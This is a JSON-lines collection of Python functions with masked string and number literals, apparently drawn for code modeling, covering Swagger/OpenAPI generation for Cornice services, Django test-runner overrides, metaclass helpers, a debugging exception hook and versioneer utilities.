{"signature": "def swagger_ui_script_template(request, **kwargs):", "body": "swagger_spec_url = request.route_url('<STR_LIT>')<EOL>template = pkg_resources.resource_string(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>).decode('<STR_LIT:utf8>')<EOL>return Template(template).safe_substitute(<EOL>swagger_spec_url=swagger_spec_url,<EOL>)<EOL>", "docstring": ":param request:\n:return:\n\nGenerates the <script> code that bootstraps Swagger UI, it will be injected\ninto index template", "id": "f8704:m2"}
{"signature": "def __init__(self, ref=<NUM_LIT:0>, type_converter=TypeConverter()):", "body": "self.definition_registry = {}<EOL>self.ref = ref<EOL>self.type_converter = type_converter<EOL>", "docstring": ":param ref:\n    The depth that should be used by self.ref when calling self.from_schema.", "id": "f8705:c1:m0"}
{"signature": "def from_schema(self, schema_node, base_name=None):", "body": "return self._ref_recursive(self.type_converter(schema_node), self.ref, base_name)<EOL>", "docstring": "Creates a Swagger definition from a colander schema.\n\n:param schema_node:\n    Colander schema to be transformed into a Swagger definition.\n:param base_name:\n    Schema alternative title.\n\n:rtype: dict\n:returns: Swagger schema.", "id": "f8705:c1:m1"}
{"signature": "def _ref_recursive(self, schema, depth, base_name=None):", "body": "if depth == <NUM_LIT:0>:<EOL><INDENT>return schema<EOL><DEDENT>if schema['<STR_LIT:type>'] != '<STR_LIT:object>':<EOL><INDENT>return schema<EOL><DEDENT>name = base_name or schema['<STR_LIT:title>']<EOL>pointer = self.json_pointer + name<EOL>for child_name, child in schema.get('<STR_LIT>', {}).items():<EOL><INDENT>schema['<STR_LIT>'][child_name] = self._ref_recursive(child, depth-<NUM_LIT:1>)<EOL><DEDENT>self.definition_registry[name] = schema<EOL>return {'<STR_LIT>': pointer}<EOL>", "docstring": "Dismantle nested swagger schemas into several definitions using JSON pointers.\nNote: This can be dangerous since definition titles must be unique.\n\n:param schema:\n    Base swagger schema.\n:param depth:\n    How many levels of the swagger object schemas should be split into\n    swaggger definitions with JSON pointers. Default (0) is no split.\n    You may use negative values to split everything.\n:param base_name:\n    If schema doesn't have a name, the caller may provide it to be\n    used as reference.\n\n:rtype: dict\n:returns:\n    JSON pointer to the root definition schema,\n    or the original definition if depth is zero.", "id": "f8705:c1:m2"}
{"signature": "def __init__(self, definition_handler=DefinitionHandler(), ref=False,<EOL>type_converter=TypeConverter(),<EOL>parameter_converter=ParameterConverter(TypeConverter())):", "body": "self.parameter_registry = {}<EOL>self.type_converter = type_converter<EOL>self.parameter_converter = parameter_converter<EOL>self.definitions = definition_handler<EOL>self.ref = ref<EOL>", "docstring": ":param definition_handler:\n    Callable that handles swagger definition schemas.\n:param ref:\n    Specifies the ref value when calling from_xxx methods.", "id": "f8705:c2:m0"}
{"signature": "def from_schema(self, schema_node):", "body": "params = []<EOL>for param_schema in schema_node.children:<EOL><INDENT>location = param_schema.name<EOL>if location is '<STR_LIT:body>':<EOL><INDENT>name = param_schema.__class__.__name__<EOL>if name == '<STR_LIT:body>':<EOL><INDENT>name = schema_node.__class__.__name__ + '<STR_LIT>'<EOL><DEDENT>param = self.parameter_converter(location,<EOL>param_schema)<EOL>param['<STR_LIT:name>'] = name<EOL>if self.ref:<EOL><INDENT>param = self._ref(param)<EOL><DEDENT>params.append(param)<EOL><DEDENT>elif location in (('<STR_LIT:path>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:GET>')):<EOL><INDENT>for node_schema in param_schema.children:<EOL><INDENT>param = self.parameter_converter(location, node_schema)<EOL>if self.ref:<EOL><INDENT>param = self._ref(param)<EOL><DEDENT>params.append(param)<EOL><DEDENT><DEDENT><DEDENT>return params<EOL>", "docstring": "Creates a list of Swagger params from a colander request schema.\n\n:param schema_node:\n    Request schema to be transformed into Swagger.\n:param validators:\n    Validators used in colander with the schema.\n\n:rtype: list\n:returns: List of Swagger parameters.", "id": "f8705:c2:m1"}
{"signature": "def from_path(self, path):", "body": "path_components = path.split('<STR_LIT:/>')<EOL>param_names = [comp[<NUM_LIT:1>:-<NUM_LIT:1>] for comp in path_components<EOL>if comp.startswith('<STR_LIT:{>') and comp.endswith('<STR_LIT:}>')]<EOL>params = []<EOL>for name in param_names:<EOL><INDENT>param_schema = colander.SchemaNode(colander.String(), name=name)<EOL>param = self.parameter_converter('<STR_LIT:path>', param_schema)<EOL>if self.ref:<EOL><INDENT>param = self._ref(param)<EOL><DEDENT>params.append(param)<EOL><DEDENT>return params<EOL>", "docstring": "Create a list of Swagger path params from a cornice service path.\n\n:type path: string\n:rtype: list", "id": "f8705:c2:m2"}
{"signature": "def _ref(self, param, base_name=None):", "body": "name = base_name or param.get('<STR_LIT:title>', '<STR_LIT>') or param.get('<STR_LIT:name>', '<STR_LIT>')<EOL>pointer = self.json_pointer + name<EOL>self.parameter_registry[name] = param<EOL>return {'<STR_LIT>': pointer}<EOL>", "docstring": "Store a parameter schema and return a reference to it.\n\n:param schema:\n    Swagger parameter definition.\n:param base_name:\n    Name that should be used for the reference.\n\n:rtype: dict\n:returns: JSON pointer to the original parameter definition.", "id": "f8705:c2:m3"}
{"signature": "def __init__(self, definition_handler=DefinitionHandler(),<EOL>type_converter=TypeConverter(), ref=False):", "body": "self.response_registry = {}<EOL>self.type_converter = type_converter<EOL>self.definitions = definition_handler<EOL>self.ref = ref<EOL>", "docstring": ":param definition_handler:\n    Callable that handles swagger definition schemas.\n:param ref:\n    Specifies the ref value when calling from_xxx methods.", "id": "f8705:c3:m0"}
{"signature": "def from_schema_mapping(self, schema_mapping):", "body": "responses = {}<EOL>for status, response_schema in schema_mapping.items():<EOL><INDENT>response = {}<EOL>if response_schema.description:<EOL><INDENT>response['<STR_LIT:description>'] = response_schema.description<EOL><DEDENT>else:<EOL><INDENT>raise CorniceSwaggerException('<STR_LIT>')<EOL><DEDENT>for field_schema in response_schema.children:<EOL><INDENT>location = field_schema.name<EOL>if location == '<STR_LIT:body>':<EOL><INDENT>title = field_schema.__class__.__name__<EOL>if title == '<STR_LIT:body>':<EOL><INDENT>title = response_schema.__class__.__name__ + '<STR_LIT>'<EOL><DEDENT>field_schema.title = title<EOL>response['<STR_LIT>'] = self.definitions.from_schema(field_schema)<EOL><DEDENT>elif location in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>header_schema = self.type_converter(field_schema)<EOL>headers = header_schema.get('<STR_LIT>')<EOL>if headers:<EOL><INDENT>for header in headers.values():<EOL><INDENT>header.pop('<STR_LIT:title>')<EOL><DEDENT>response['<STR_LIT>'] = headers<EOL><DEDENT><DEDENT><DEDENT>pointer = response_schema.__class__.__name__<EOL>if self.ref:<EOL><INDENT>response = self._ref(response, pointer)<EOL><DEDENT>responses[status] = response<EOL><DEDENT>return responses<EOL>", "docstring": "Creates a Swagger response object from a dict of response schemas.\n\n:param schema_mapping:\n    Dict with entries matching ``{status_code: response_schema}``.\n:rtype: dict\n:returns: Response schema.", "id": "f8705:c3:m1"}
{"signature": "def _ref(self, resp, base_name=None):", "body": "name = base_name or resp.get('<STR_LIT:title>', '<STR_LIT>') or resp.get('<STR_LIT:name>', '<STR_LIT>')<EOL>pointer = self.json_pointer + name<EOL>self.response_registry[name] = resp<EOL>return {'<STR_LIT>': pointer}<EOL>", "docstring": "Store a response schema and return a reference to it.\n\n:param schema:\n    Swagger response definition.\n:param base_name:\n    Name that should be used for the reference.\n\n:rtype: dict\n:returns: JSON pointer to the original response definition.", "id": "f8705:c3:m2"}
{"signature": "def __init__(self, services=None, def_ref_depth=<NUM_LIT:0>, param_ref=False,<EOL>resp_ref=False, pyramid_registry=None):", "body": "super(CorniceSwagger, self).__init__()<EOL>type_converter = self.type_converter(self.custom_type_converters,<EOL>self.default_type_converter)<EOL>parameter_converter = self.parameter_converter(type_converter)<EOL>self.pyramid_registry = pyramid_registry<EOL>if services is not None:<EOL><INDENT>self.services = services<EOL><DEDENT>self.definitions = self.definitions(ref=def_ref_depth,<EOL>type_converter=type_converter)<EOL>self.parameters = self.parameters(self.definitions, ref=param_ref,<EOL>type_converter=type_converter,<EOL>parameter_converter=parameter_converter)<EOL>self.responses = self.responses(self.definitions, ref=resp_ref,<EOL>type_converter=type_converter)<EOL>", "docstring": ":param services:\n    List of cornice services to document. You may use\n    cornice.service.get_services() to get it.\n:param def_ref_depth:\n    How depth swagger object schemas should be split into\n    swaggger definitions with JSON pointers. Default (0) is no split.\n    You may use negative values to split everything.\n:param param_ref:\n    Defines if swagger parameters should be put inline on the operation\n    or on the parameters section and referenced by JSON pointers.\n    Default is inline.\n:param resp_ref:\n    Defines if swagger responses should be put inline on the operation\n    or on the responses section and referenced by JSON pointers.\n    Default is inline.\n:param pyramid_registry:\n    Pyramid registry, should be passed if you use pyramid routes\n    instead of service level paths.", "id": "f8705:c4:m0"}
{"signature": "def generate(self, title=None, version=None, base_path=None,<EOL>info=None, swagger=None, **kwargs):", "body": "title = title or self.api_title<EOL>version = version or self.api_version<EOL>info = info or self.swagger.get('<STR_LIT:info>', {})<EOL>swagger = swagger or self.swagger<EOL>base_path = base_path or self.base_path<EOL>swagger = swagger.copy()<EOL>info.update(title=title, version=version)<EOL>swagger.update(swagger='<STR_LIT>', info=info, basePath=base_path)<EOL>paths, tags = self._build_paths()<EOL>if tags:<EOL><INDENT>swagger.setdefault('<STR_LIT>', [])<EOL>tag_names = {t['<STR_LIT:name>'] for t in swagger['<STR_LIT>']}<EOL>for tag in tags:<EOL><INDENT>if tag['<STR_LIT:name>'] not in tag_names:<EOL><INDENT>swagger['<STR_LIT>'].append(tag)<EOL><DEDENT><DEDENT><DEDENT>if paths:<EOL><INDENT>swagger.setdefault('<STR_LIT>', {})<EOL>merge_dicts(swagger['<STR_LIT>'], paths)<EOL><DEDENT>definitions = self.definitions.definition_registry<EOL>if definitions:<EOL><INDENT>swagger.setdefault('<STR_LIT>', {})<EOL>merge_dicts(swagger['<STR_LIT>'], definitions)<EOL><DEDENT>parameters = self.parameters.parameter_registry<EOL>if parameters:<EOL><INDENT>swagger.setdefault('<STR_LIT>', {})<EOL>merge_dicts(swagger['<STR_LIT>'], parameters)<EOL><DEDENT>responses = self.responses.response_registry<EOL>if responses:<EOL><INDENT>swagger.setdefault('<STR_LIT>', {})<EOL>merge_dicts(swagger['<STR_LIT>'], responses)<EOL><DEDENT>return swagger<EOL>", "docstring": "Generate a Swagger 2.0 documentation. Keyword arguments may be used\n        to provide additional information to build methods as such ignores.\n\n        :param title:\n            The name presented on the swagger document.\n        :param version:\n            The version of the API presented on the swagger document.\n        :param base_path:\n            The path that all requests to the API must refer to.\n        :param info:\n            Swagger info field.\n        :param swagger:\n            Extra fields that should be provided on the swagger documentation.\n\n        :rtype: dict\n        :returns: Full OpenAPI/Swagger compliant specification for the application.", "id": "f8705:c4:m1"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "self.__dict__.update(**kwargs)<EOL>message = (\"<STR_LIT>\")<EOL>warnings.warn(message, DeprecationWarning)<EOL>return self.generate(*args, **kwargs)<EOL>", "docstring": "Deprecated alias of `generate`.", "id": "f8705:c4:m2"}
{"signature": "def _check_tags(self, tags):", "body": "if not isinstance(tags, list):<EOL><INDENT>raise CorniceSwaggerException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Check if tags was correctly defined as a list", "id": "f8705:c4:m3"}
{"signature": "def _build_paths(self):", "body": "paths = {}<EOL>tags = []<EOL>for service in self.services:<EOL><INDENT>path, path_obj = self._extract_path_from_service(service)<EOL>service_tags = getattr(service, '<STR_LIT>', [])<EOL>self._check_tags(service_tags)<EOL>tags = self._get_tags(tags, service_tags)<EOL>for method, view, args in service.definitions:<EOL><INDENT>if method.lower() in map(str.lower, self.ignore_methods):<EOL><INDENT>continue<EOL><DEDENT>op = self._extract_operation_from_view(view, args)<EOL>if any(ctype in op.get('<STR_LIT>', []) for ctype in self.ignore_ctypes):<EOL><INDENT>continue<EOL><DEDENT>previous_definition = path_obj.get(method.lower())<EOL>if previous_definition:<EOL><INDENT>raise CorniceSwaggerException((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL><DEDENT>if '<STR_LIT>' not in op and self.default_tags:<EOL><INDENT>if callable(self.default_tags):<EOL><INDENT>op['<STR_LIT>'] = self.default_tags(service, method)<EOL><DEDENT>else:<EOL><INDENT>op['<STR_LIT>'] = self.default_tags<EOL><DEDENT><DEDENT>op_tags = op.get('<STR_LIT>', [])<EOL>self._check_tags(op_tags)<EOL>if service_tags:<EOL><INDENT>new_tags = service_tags + op_tags<EOL>op['<STR_LIT>'] = list(OrderedDict.fromkeys(new_tags))<EOL><DEDENT>tags = self._get_tags(tags, op_tags)<EOL>if '<STR_LIT>' not in op and self.default_op_ids:<EOL><INDENT>if not callable(self.default_op_ids):<EOL><INDENT>raise CorniceSwaggerException('<STR_LIT>')<EOL><DEDENT>op['<STR_LIT>'] = self.default_op_ids(service, method)<EOL><DEDENT>if '<STR_LIT>' not in op and self.default_security:<EOL><INDENT>if callable(self.default_security):<EOL><INDENT>op['<STR_LIT>'] = self.default_security(service, method)<EOL><DEDENT>else:<EOL><INDENT>op['<STR_LIT>'] = self.default_security<EOL><DEDENT><DEDENT>if not isinstance(op.get('<STR_LIT>', []), list):<EOL><INDENT>raise CorniceSwaggerException('<STR_LIT>')<EOL><DEDENT>path_obj[method.lower()] = op<EOL><DEDENT>paths[path] = path_obj<EOL><DEDENT>return paths, tags<EOL>", "docstring": "Build the Swagger \"paths\" and \"tags\" attributes from cornice service\ndefinitions.", "id": "f8705:c4:m5"}
{"signature": "def _extract_path_from_service(self, service):", "body": "path_obj = {}<EOL>path = service.path<EOL>route_name = getattr(service, '<STR_LIT>', None)<EOL>if route_name:<EOL><INDENT>registry = self.pyramid_registry or get_current_registry()<EOL>route_intr = registry.introspector.get('<STR_LIT>', route_name)<EOL>if route_intr:<EOL><INDENT>path = route_intr['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>''<STR_LIT>'.format(route_name)<EOL>raise ValueError(msg)<EOL><DEDENT><DEDENT>for subpath_marker in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>path = path.replace(subpath_marker, '<STR_LIT>')<EOL><DEDENT>parameters = self.parameters.from_path(path)<EOL>if parameters:<EOL><INDENT>path_obj['<STR_LIT>'] = parameters<EOL><DEDENT>return path, path_obj<EOL>", "docstring": "Extract path object and its parameters from service definitions.\n\n:param service:\n    Cornice service to extract information from.\n\n:rtype: dict\n:returns: Path definition.", "id": "f8705:c4:m6"}
{"signature": "def _extract_operation_from_view(self, view, args):", "body": "op = {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:default>': {<EOL>'<STR_LIT:description>': '<STR_LIT>'<EOL>}<EOL>},<EOL>}<EOL>renderer = args.get('<STR_LIT>', '<STR_LIT>')<EOL>if \"<STR_LIT>\" in renderer:  <EOL><INDENT>produces = ['<STR_LIT:application/json>']<EOL><DEDENT>elif renderer == '<STR_LIT>':<EOL><INDENT>produces = ['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>produces = None<EOL><DEDENT>if produces:<EOL><INDENT>op.setdefault('<STR_LIT:produces>', produces)<EOL><DEDENT>consumes = args.get('<STR_LIT>')<EOL>if consumes is not None:<EOL><INDENT>consumes = to_list(consumes)<EOL>consumes = [x for x in consumes if not callable(x)]<EOL>op['<STR_LIT>'] = consumes<EOL><DEDENT>is_colander = self._is_colander_schema(args)<EOL>if is_colander:<EOL><INDENT>schema = self._extract_transform_colander_schema(args)<EOL>parameters = self.parameters.from_schema(schema)<EOL><DEDENT>else:<EOL><INDENT>parameters = None<EOL><DEDENT>if parameters:<EOL><INDENT>op['<STR_LIT>'] = parameters<EOL><DEDENT>if isinstance(view, six.string_types):<EOL><INDENT>if '<STR_LIT>' in args:<EOL><INDENT>ob = args['<STR_LIT>']<EOL>view_ = getattr(ob, view.lower())<EOL>docstring = trim(view_.__doc__)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>docstring = str(trim(view.__doc__))<EOL><DEDENT>if docstring and self.summary_docstrings:<EOL><INDENT>op['<STR_LIT>'] = docstring<EOL><DEDENT>if '<STR_LIT>' in args:<EOL><INDENT>op['<STR_LIT>'] = self.responses.from_schema_mapping(args['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in args:<EOL><INDENT>op['<STR_LIT>'] = args['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in args:<EOL><INDENT>op['<STR_LIT>'] = args['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in args:<EOL><INDENT>op['<STR_LIT>'] = args['<STR_LIT>']<EOL><DEDENT>return op<EOL>", "docstring": "Extract swagger operation details from colander view definitions.\n\n:param view:\n    View to extract information from.\n:param args:\n    Arguments from the view decorator.\n\n:rtype: dict\n:returns: Operation definition.", "id": "f8705:c4:m7"}
{"signature": "def _extract_transform_colander_schema(self, args):", "body": "schema = args.get('<STR_LIT>', colander.MappingSchema())<EOL>if not isinstance(schema, colander.Schema):<EOL><INDENT>schema = schema()<EOL><DEDENT>schema = schema.clone()<EOL>for transformer in self.schema_transformers:<EOL><INDENT>schema = transformer(schema, args)<EOL><DEDENT>return schema<EOL>", "docstring": "Extract schema from view args and transform it using\nthe pipeline of schema transformers\n\n:param args:\n    Arguments from the view decorator.\n\n:rtype: colander.MappingSchema()\n:returns: View schema cloned and transformed", "id": "f8705:c4:m9"}
{"signature": "def cornice_enable_openapi_view(<EOL>config,<EOL>api_path='<STR_LIT>',<EOL>permission=NO_PERMISSION_REQUIRED,<EOL>route_factory=None, **kwargs):", "body": "config.registry.settings['<STR_LIT>'] = kwargs<EOL>config.add_route('<STR_LIT>', api_path,<EOL>factory=route_factory)<EOL>config.add_view('<STR_LIT>',<EOL>renderer='<STR_LIT>', permission=permission,<EOL>route_name='<STR_LIT>')<EOL>", "docstring": ":param config:\n    Pyramid configurator object\n:param api_path:\n    where to expose swagger JSON definition view\n:param permission:\n    pyramid permission for those views\n:param route_factory:\n    factory for context object for those routes\n:param kwargs:\n    kwargs that will be passed to CorniceSwagger's `generate()`\n\nThis registers and configures the view that serves api definitions", "id": "f8706:m1"}
{"signature": "def cornice_enable_openapi_explorer(<EOL>config,<EOL>api_explorer_path='<STR_LIT>',<EOL>permission=NO_PERMISSION_REQUIRED,<EOL>route_factory=None,<EOL>**kwargs):", "body": "config.add_route('<STR_LIT>', api_explorer_path,<EOL>factory=route_factory)<EOL>config.add_view('<STR_LIT>',<EOL>permission=permission,<EOL>route_name='<STR_LIT>')<EOL>", "docstring": ":param config:\n    Pyramid configurator object\n:param api_explorer_path:\n    where to expose Swagger UI interface view\n:param permission:\n    pyramid permission for those views\n:param route_factory:\n    factory for context object for those routes\n\nThis registers and configures the view that serves api explorer", "id": "f8706:m2"}
{"signature": "@values.get(tags=['<STR_LIT>'], response_schemas=response_schemas)<EOL><INDENT>def get_value(request):<DEDENT>", "body": "key = request.matchdict['<STR_LIT:key>']<EOL>return _VALUES.get(key)<EOL>", "docstring": "Returns the value.", "id": "f8707:c2:m0"}
{"signature": "@values.put(tags=['<STR_LIT>'], validators=(colander_body_validator, ),<EOL>schema=BodySchema(), response_schemas=response_schemas)<EOL><INDENT>def set_value(request):<DEDENT>", "body": "key = request.matchdict['<STR_LIT:key>']<EOL>_VALUES[key] = request.json_body<EOL>return _VALUES.get(key)<EOL>", "docstring": "Set the value and returns *True* or *False*.", "id": "f8707:c2:m1"}
{"signature": "def pc( self ):", "body": "n = self.npc<EOL>return self.U[:, :n] * self.d[:n]<EOL>", "docstring": "e.g. 1000 x 2 U[:, :npc] * d[:npc], to plot etc.", "id": "f8710:c0:m1"}
{"signature": "def setup_databases(self, **kwargs):", "body": "pass<EOL>", "docstring": "Override the database creation defined in parent class", "id": "f8713:c0:m1"}
{"signature": "def teardown_databases(self, old_config, **kwargs):", "body": "pass<EOL>", "docstring": "Override the database teardown defined in parent class", "id": "f8713:c0:m2"}
{"signature": "def get_variable(relpath, keyword='<STR_LIT>'):", "body": "for line in open(os.path.join(os.path.dirname(__file__), relpath), encoding='<STR_LIT>'):<EOL><INDENT>if keyword in line:<EOL><INDENT>if '<STR_LIT:\">' in line:<EOL><INDENT>return line.split('<STR_LIT:\">')[<NUM_LIT:1>]<EOL><DEDENT>elif \"<STR_LIT:'>\" in line:<EOL><INDENT>return line.split(\"<STR_LIT:'>\")[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Read __version__ or other properties from a python file without importing it \n\n    from gist.github.com/technonik/406623 but with added keyward kwarg", "id": "f8714:m1"}
{"signature": "def skip_redundant(iterable, skipset=None):", "body": "if skipset is None: skipset = set()<EOL>for item in iterable:<EOL><INDENT>if item not in skipset:<EOL><INDENT>skipset.add(item)<EOL>yield item<EOL><DEDENT><DEDENT>", "docstring": "Redundant items are repeated items or items in the original skipset.", "id": "f8718:m0"}
{"signature": "def get_noconflict_metaclass(bases, left_metas, right_metas):", "body": "<EOL>metas = left_metas + tuple(map(type, bases)) + right_metas<EOL>needed_metas = remove_redundant(metas)<EOL>if needed_metas in memoized_metaclasses_map:<EOL><INDENT>return memoized_metaclasses_map[needed_metas]<EOL><DEDENT>elif not needed_metas:         <EOL><INDENT>meta = type<EOL><DEDENT>elif len(needed_metas) == <NUM_LIT:1>: <EOL><INDENT>meta = needed_metas[<NUM_LIT:0>]<EOL><DEDENT>elif needed_metas == bases: <EOL><INDENT>raise TypeError(\"<STR_LIT>\", needed_metas)<EOL><DEDENT>else: <EOL><INDENT>metaname = '<STR_LIT:_>' + '<STR_LIT>'.join([m.__name__ for m in needed_metas])<EOL>meta = classmaker()(metaname, needed_metas, {})<EOL><DEDENT>memoized_metaclasses_map[needed_metas] = meta<EOL>return meta<EOL>", "docstring": "Not intended to be used outside of this module, unless you know\n    what you are doing.", "id": "f8718:m2"}
{"signature": "def bug_info(exc_type, exc_value, exc_trace):", "body": "if hasattr(sys, '<STR_LIT>') or not sys.stderr.isatty():<EOL><INDENT>sys.__excepthook__(exc_type, exc_value, exc_trace)<EOL><DEDENT>else:<EOL><INDENT>import ipdb<EOL>traceback.print_exception(exc_type, exc_value, exc_trace)<EOL>print<EOL>ipdb.post_mortem(exc_trace)<EOL><DEDENT>", "docstring": "Prints the traceback and invokes the ipython debugger on any exception\n\n    Only invokes ipydb if you are outside ipython or python interactive session.\n    So scripts must be called from OS shell in order for exceptions to ipy-shell-out.\n\n    Dependencies:\n      Needs `pip install ipdb`\n\n    Arguments:\n      exc_type (type): The exception type/class (e.g. RuntimeError)\n      exc_value (Exception): The exception instance (e.g. the error message passed to the Exception constructor)\n      exc_trace (Traceback): The traceback instance\n\n    References:\n      http://stackoverflow.com/a/242531/623735\n\n    Example Usage:\n      $  python -c 'from pug import debug;x=[];x[0]'\n      Traceback (most recent call last):\n        File \"<string>\", line 1, in <module>\n      IndexError: list index out of range\n\n      > <string>(1)<module>()\n\n      ipdb> x\n      []\n      ipdb> locals()\n      {'__builtins__': <module '__builtin__' (built-in)>, '__package__': None, 'x': [], 'debug': <module 'pug.debug' from 'pug/debug.py'>, '__name__': '__main__', '__doc__': None}\n      ipdb>", "id": "f8719:m0"}
{"signature": "def force_frozenset(obj):", "body": "<EOL>return tuple(force_hashable(obj))<EOL>", "docstring": "Force frozenset() command to freeze the order and contents of multables and iterables like lists, dicts, generators\n\n    Useful for memoization and constructing dicts or hashtables where keys must be immutable", "id": "f8721:m0"}
{"signature": "def _link_rels(obj, fields=None, save=False, overwrite=False):", "body": "if not fields:<EOL><INDENT>meta = obj._meta<EOL>fields = [f.name for f in meta.fields if hasattr(f, '<STR_LIT>') and not f.primary_key and hasattr(meta, '<STR_LIT>' + f.name) and hasattr(meta, '<STR_LIT:_>' + f.name)]<EOL><DEDENT>for field in fields:<EOL><INDENT>if not overwrite and not isinstance(getattr(obj, field, None), NoneType):<EOL><INDENT>continue<EOL><DEDENT>if hasattr(obj, field):<EOL><INDENT>setattr(obj, field, getattr(obj, '<STR_LIT:_>' + field, None))<EOL><DEDENT><DEDENT>if save:<EOL><INDENT>obj.save()<EOL><DEDENT>return obj<EOL>", "docstring": "Populate any database related fields (ForeignKeyField, OneToOneField) that have `_get`ters to populate them with", "id": "f8721:m2"}
{"signature": "def _denormalize(obj, fields=None, save=False, overwrite=False):", "body": "if not fields:<EOL><INDENT>meta = obj._meta<EOL>fields = [f.name for f in meta.fields if not hasattr(f, '<STR_LIT>') and not f.primary_key and hasattr(meta, '<STR_LIT>' + f.name) and hasattr(meta, '<STR_LIT:_>' + f.name)]<EOL><DEDENT>for field in fields:<EOL><INDENT>if not overwrite and not isinstance(getattr(obj, field, None), NoneType):<EOL><INDENT>continue<EOL><DEDENT>if hasattr(obj, field):<EOL><INDENT>setattr(obj, field, getattr(obj, '<STR_LIT:_>' + field, None))<EOL><DEDENT><DEDENT>if save:<EOL><INDENT>obj.save()<EOL><DEDENT>return obj<EOL>", "docstring": "Update/populate any database fields that are not related fields (FKs) but have `_get`ters to populate them with", "id": "f8721:m3"}
{"signature": "def _update(obj, fields=None, save=False, overwrite=False):", "body": "if not fields:<EOL><INDENT>meta = obj._meta<EOL>fields = [f.name for f in meta.fields if not f.primary_key and hasattr(meta, '<STR_LIT>' + f.name) and hasattr(meta, '<STR_LIT:_>' + f.name)]<EOL><DEDENT>fields_updated = []<EOL>for field in fields:<EOL><INDENT>if not overwrite and not getattr(obj, field, None) == None:<EOL><INDENT>continue<EOL><DEDENT>if hasattr(obj, field):<EOL><INDENT>setattr(obj, field, getattr(obj, '<STR_LIT:_>' + field, None))<EOL>if getattr(obj, field, None) != None:<EOL><INDENT>fields_updated += [field]<EOL><DEDENT><DEDENT><DEDENT>if save:<EOL><INDENT>obj.save()<EOL><DEDENT>return fields_updated<EOL>", "docstring": "Update/populate any database fields that have `_get`ters to populate them with, regardless of whether they are data fields or related fields", "id": "f8721:m4"}
{"signature": "def __repr__(self):", "body": "return self.func.__doc__<EOL>", "docstring": "Return the function's docstring.", "id": "f8721:c0:m2"}
{"signature": "def __get__(self, obj, objtype):", "body": "return functools.partial(self.__call__, obj)<EOL>", "docstring": "Support instance methods.", "id": "f8721:c0:m3"}
{"signature": "def __call__(self, func):", "body": "<EOL>if not self.logger:<EOL><INDENT>logging.basicConfig()<EOL>self.logger = logging.getLogger(func.__module__)<EOL><DEDENT>@functools.wraps(func)<EOL>def wrapper(*args, **kwds):<EOL><INDENT>self.logger.info(self.ENTRY_MESSAGE.format(func.__name__))  <EOL>f_result = func(*args, **kwds)<EOL>self.logger.info(self.EXIT_MESSAGE.format(func.__name__))   <EOL>return f_result<EOL><DEDENT>return wrapper<EOL>", "docstring": "Returns a wrapper that wraps func.\n        The wrapper will log the entry and exit points of the function\n        with logging.INFO level.", "id": "f8721:c1:m1"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>git_date = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full, \"<STR_LIT:date>\": git_date}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f8724:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f8724:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f8724:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given command(s).", "id": "f8724:m3"}
